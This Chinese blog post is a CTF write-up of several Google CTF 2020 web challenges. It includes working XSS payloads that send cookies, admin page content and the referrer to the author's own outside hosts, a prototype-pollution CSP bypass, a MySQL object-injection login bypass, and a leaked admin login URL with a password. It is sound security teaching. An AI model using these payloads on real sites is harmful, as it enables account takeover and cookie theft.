Author:颖奇L’Amore
Blog:www.gem-love.com
JS大赛 我好爱 如果不和强网杯冲突就更好了
All The Little Things
I left a little secret in a note, but it’s private, private is safe.
Note: TJMike🎤 from Pasteurize is also logged into the page.
题目是个note,另外还加了一些用户自己的profile,以及可以切换主题light和dark
settings:
还有CSP:
在HTML源码中注意到有一个注释,开启后则多出来一个debug的div
static/scripts/utils.js
:
// make sure that variable is undefined
function is_undefined(x) {
return typeof x === "undefined" && x == undefined
}
window.addEventListener('DOMContentLoaded', ()=>{
fetch('/me').then(e => e.json()).then(make_user_object);
})
fetch
这个/me
的路由可以得到个人信息,像这样:
{"username":"Y1ng","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{},"choice":1}}
注意到then(make_user_object)
,那么我们跟进/static/scripts/user.js:
class User {
#username; #theme; #img
constructor(username, img, theme) {
this.#username = username
this.#theme = theme
this.#img = img
}
get username() {
return this.#username
}
get img() {
return this.#img
}
get theme() {
return this.#theme
}
toString() {
return `user_${this.#username}`
}
}
function make_user_object(obj) {
const user = new User(obj.username, obj.img, obj.theme);
window.load_debug?.(user);
// make sure to not override anything
if (!is_undefined(document[user.toString()])) {
return false;
}
document.getElementById('profile-picture').src=user.img;
window.USERNAME = user.toString();
document[window.USERNAME] = user;
update_theme();
}
首先他有一个User
类,可以看到这个类下全部都是私有属性并且是没有set
的,另外toString()
会返回username
。之后就是make_user_object
函数,如果设置了debug
就会调用load_debug
,后面还会update_theme()
。我们先跟进这个update_theme()
看下:
function set_dark_theme(obj) {
const theme_url = "/static/styles/bootstrap_dark.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}
function set_light_theme(obj) {
theme_url = "/static/styles/bootstrap.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}
function update_theme() {
const theme = document[USERNAME].theme;
const s = document.createElement('script');
s.src = `/theme?cb=${theme.cb}`;
document.head.appendChild(s);
}
document.querySelector('#bootstrap-link').href = localStorage['theme'];
这个update_theme()
实际上就是<script src=`/theme?cb=${theme.cb}`>
,测试发现想要设置dark主题调用set_dark_theme()
那么实际上就是一个script
标签引用到/theme?cb=set_dark_theme
上去,那么这里很明显cb
参数后面加了什么就会call什么函数:
现在回头去看load_debug()
,在static/scripts/debug.js下:
// Extend user object
function load_debug(user) {
let debug;
try {
debug = JSON.parse(window.name);
} catch (e) {
return;
}
if (debug instanceof Object) {
Object.assign(user, debug);
}
if(user.verbose){
console.log(user);
}
if(user.showAll){
document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
}
if(user.keepDebug){
document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
}else{
document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
}
window.onerror = e =>alert(e);
}
function append_debug(u){
const url = new URL(u);
url.searchParams.append('__debug__', 1);
return url.href;
}
function remove_debug(u){
const url = new URL(u);
url.searchParams.delete('__debug__');
return url.href;
}
有一个非常非常显眼的东西:Object.assign(user, debug)
,而debug就是window.name
的json。Object.assign()
和lodash
的merge()
基本一样(区别在于一个是浅拷贝一个是深拷贝),经典的原型链污染,所以我们只要控制了window.name
就能污染user
对象了。
theme.cb
是会被call的函数,而刚刚说了,User
类下全是私有属性并且没有setter
,那么我们不能直接控制theme.cb
:
但是通过assign()
污染__proto__
之后就可以绕过这个限制了:
可以看到现在取出来user
对象的theme
已经是{cb: "alert"}
了,通过原型链污染我们控制了调用的函数。
然而本题目还有CSP,很多js是不能执行的。想要绕过这个CSP可以选择使用iframe
,在iframe
下利用scrip src
调用theme?cb=
来callback,这是完全可行的,并且iframe
里也可以获取到主窗口下的内容,很多CSRF题目都是这个做题套路,类似这样:
{
"__proto__":{},
"theme":{
"cb":"document.body.innerHTML=window.name.toString"
},
"htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"
}
那么做到现在,我们甚至都还不知道这题要得到什么,注意到题目描述说用Pasteurize的xss bot,那么我们可以用那个题的xss方法来进行xss(请看后文)。可是,需要xss打什么?打cookie吗?cookie是HTTP-Only的也没法用
实际上,我们需要得到管理员账户一个私有的note,我们可以构造xss去得到那个bot的note页面并leak到我们的服务器上。至于如何设置我们自己的服务器地址可以先创建标签然后用innerText
取出来
{
"__proto__":{},
"theme":{
"cb":"document.body.firstElementChild.innerHTML=window.name.toString"
},
"payload":[
"<form id='concat'>https://your_server/?<div></div></form>",
"<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>",
"<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>"
]
}
转base64然后eval()
来执行,用pasteurize的方法让bot执行,这里有个小trick,通过判断UA来控制window.location
,我当时做pasteurize时候没有想到。另外不要忘了urlencode,因为+会被解析成空格
控制台调一下,此时已经执行成功了:
不过samurai这个通过UA判断是否跳转的套路我没成功,最后还是直接用了location.href
跳转,于是我们得到了管理员的note的地址
下一步只要去得到note下有什么就好了,直接修改跳转的地址为这个note的地址其他都不需要改
location.href=`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__
得到flag:
这个题目还是很有难度的,自己没有做出来,赛后看了三份Writeup,最后选择了Samurai的方法。tyage的方法也很好,Exp here
pasteurize
This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
在/source得到源码:
const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require([email protected]/datastore').Datastore;
/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
'hl': 'en',
callback: 'captcha_cb'
});
/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
etag: true,
maxAge: 300 * 1000,
}));
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));
/* Just a datastore. I would be surprised if it's fragile. */
class Database {
constructor() {
this._db = new Datastore({
namespace: 'littlethings'
});
}
add_note(note_id, content) {
const note = {
note_id: note_id,
owner: 'guest',
content: content,
public: 1,
created: Date.now()
}
return this._db.save({
key: this._db.key(['Note', note_id]),
data: note,
excludeFromIndexes: ['content']
});
}
async get_note(note_id) {
const key = this._db.key(['Note', note_id]);
let note;
try {
note = await this._db.get(key);
} catch (e) {
console.error(e);
return null;
}
if (!note || note.length < 1) {
return null;
}
note = note[0];
if (note === undefined || note.public !== 1) {
return null;
}
return note;
}
}
const DB = new Database();
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */
app.get('/', (req, res) => {
res.render('index');
});
/* \o/ [x] */
app.post('/', async (req, res) => {
const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
}
if (note.length > 2000) {
res.status(500);
return res.send("The note is too big");
}
const note_id = uuidv4();
try {
const result = await DB.add_note(note_id, note);
if (!result) {
res.status(500);
console.error(result);
return res.send("Something went wrong...");
}
} catch (err) {
res.status(500);
console.error(err);
return res.send("Something went wrong...");
}
await utils.sleep(500);
return res.redirect(`/${note_id}`);
});
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
const id = req.params.id;
/* No robots please! */
if (req.recaptcha.error) {
console.error(req.recaptcha.error);
return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
}
/* Make TJMike visit the paste */
utils.visit(id, req);
res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});
/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
res.set("Content-type", "text/plain; charset=utf-8");
res.sendFile(__filename);
});
/* Let it begin! */
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`);
console.log('Press Ctrl+C to quit.');
});
module.exports = app;
代码比较简单就不多说了。主要是个pasteboard,然后有一些过滤,可以把输入的内容给管理员看,典型的xss题目。
首先来看下escape_string
函数:
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
这里主要是JSON转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。
然后会把经过escape_string()
处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:
这里可以看到,const note
就是我们渲染进去的内容,然后经过了DOMPurify.sanitize()
处理再显示出来,DOMPurify.sanitize()
会剥去标签的事件等可以触发XSS的东西
查资料发现曾经的版本可以用突变XSS(mXSS)来绕过DOMPurify,然而已经在后续的版本更新了,本题使用的Purify.js是新版本,不存在这个bypass漏洞。
另外我们输入的东西会被显示在<div></div>
里,因为后端的esacpe_string()
又过滤了<
和>
就更不能xss了
如果DOMPurify
不存在漏洞,那就只能去bypass后端escape_string()
了。
自己再本地调了一下,发现这个JSON.stringify()
很多余,既然note是个字符串,为啥要转成JSON,于是我想尝试提交一个对象,可惜服务端没有支持application/json
,不过可以注意到题目使用了qs
模块:
app.use(bodyParser.urlencoded({
extended: true
}));
没用过qs.parse()
也没关系,npm查一下就知道了,qs.parse()
允许我们通过URLENCODED实现JSON一样的功能,即提交嵌套对象。
assert.deepEqual(qs.parse('foo[bar]=baz'), {
foo: {
bar: 'baz'
}
});
继续本地测试:
正常情况下提交content就是什么就输出什么,因为slice(1,-1)
脱去了分号;如果是利用qs.parse()
提交对象就不一样了,此时经过JSON.stringify()
得到的字符串再slice(1,-1)
切片脱去的就不再是引号而是两侧的大括号了,因为此时的content
不再是字符串而是对象
这实际上非常有用,它被渲染进了模板,然后DOMPurify对它不会做任何处理,所以是直接输出的。我们可以清楚看到,因为DOMPurify对其没有任何操作,它会被原封不动输出,而引号没有被转义就可以用来构造闭合进而进行JS注入
进行如下Post提交:
content[;alert(1)//]=Y1ng_test
得到:
const note = "";alert(1)//":"Y1ng_test"";
弹窗成功:
这就简单了,只要在这里构造xss payload就可以了。在属性名上构造比较不方便,继续构造一个闭合然后把主要payload写在等号的右边
content[;Y1ng=]=;window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//
效果为:
const note = "";Y1ng=":";window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//"";
用window.open()
的话bot
好像解析不了,然后换了window.location
,但是问题在于自己的网页也会重定向,必须要快一点把重定向取消然后点击那个提交,服务器上收到flag:
当然除了window.location
这种拼手速的payload,还有其他很多方法带出flag,只要学过js就肯定有办法,比如:
content[;Y1ng=]=;var img = document.createElement('img');img.src = `http://gem-love.com:12345/?q=${document.cookie}`;document.body.appendChild(img);//
LOG-ME-IN
Log in to get the flag
https://log-me-in.web.ctfcompetition.com/
给了node源码,重点在login路由:
app.post('/login', (req, res) => {
const u = req.body['username'];
const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {
if(err) {
res.render('login', {error: `Unknown error: ${err}`});
} else if(qResult.length) {
const username = qResult[0]['username'];
let flag;
if(username.toLowerCase() == targetUser) {
flag = flagValue
} else{
flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
}
req.session.username = username
req.session.flag = flag
res.redirect('/me');
} else {
res.render('login', {error: "Invalid username or password"})
}
});
});
需要登录为const targetUser = "michelle"
,然而并不知道它的密码,而且这里也不能注入,所以我们要想办法构造一个万能密码。
注意到和上一题一样,也是使用qs.query()
处理传参:
app.use(bodyParser.urlencoded({
extended: true
}))
那么我们可以故技重施,提交一个对象,来看看如果mysql.query()
传参为对象会变成什么。根据官方文档:
Objects are turned into key = 'val' pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.
我们可以自己本地试一下:
注意到他是直接转化为`key` = val
的形式了,而mysql中反引号内为column name,只需要让其为`password`
,这样password = `password` = 1
就可以返回True了,进而登陆成功
提交:
username=michelle&password[password]=1
TECH SUPPORT
Try chatting with tech support about getting a flag. Note: We have received multiple reports of exploits not working remotely, but we triple checked and concluded that the bot is working properly.
在chat下,我尝试了alert()
没生效,尝试XMLHttpRequest
去访问我的vps也没生效,但是直接引用是可以访问得到的
然而注意到这个chat是一个iframe
,并且域名不一样,这意味着有CORS
问题,直接去fetch
flag肯定是不行了。
xss题有个套路,如果是需要打bot的cookie的,那么bot一般会去请求一个api来获取到cookie再去访问用户提交的url,很多人都这么出题,而我们可以通过document.referrer打到那个秘密接口,xss打到:
https://typeselfsub.web.ctfcompetition.com/asofdiyboxzdfasdfyryryryccc?username=mike&password=j9as7ya7a3636ncvx&reason=%3Cimg%20src%3DX%20onerror%3Deval(atob(%22d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vZW5hcHF1eGE4M2FvNy54LnBpcGVkcmVhbS5uZXQvP3E9IitidG9hKGRvY3VtZW50LnJlZmVycmVyKTs%3D%22))%3E
这就是它用来登录管理员并获取管理员cookie的接口,我们也访问就可以称为管理员了,然后/flag拿flag。不过这种解法一般都是非预期。看了下ctftime,预期解比较复杂,是CSRF,和ByteBanditsCTF 2020的note有点像。
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2593.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示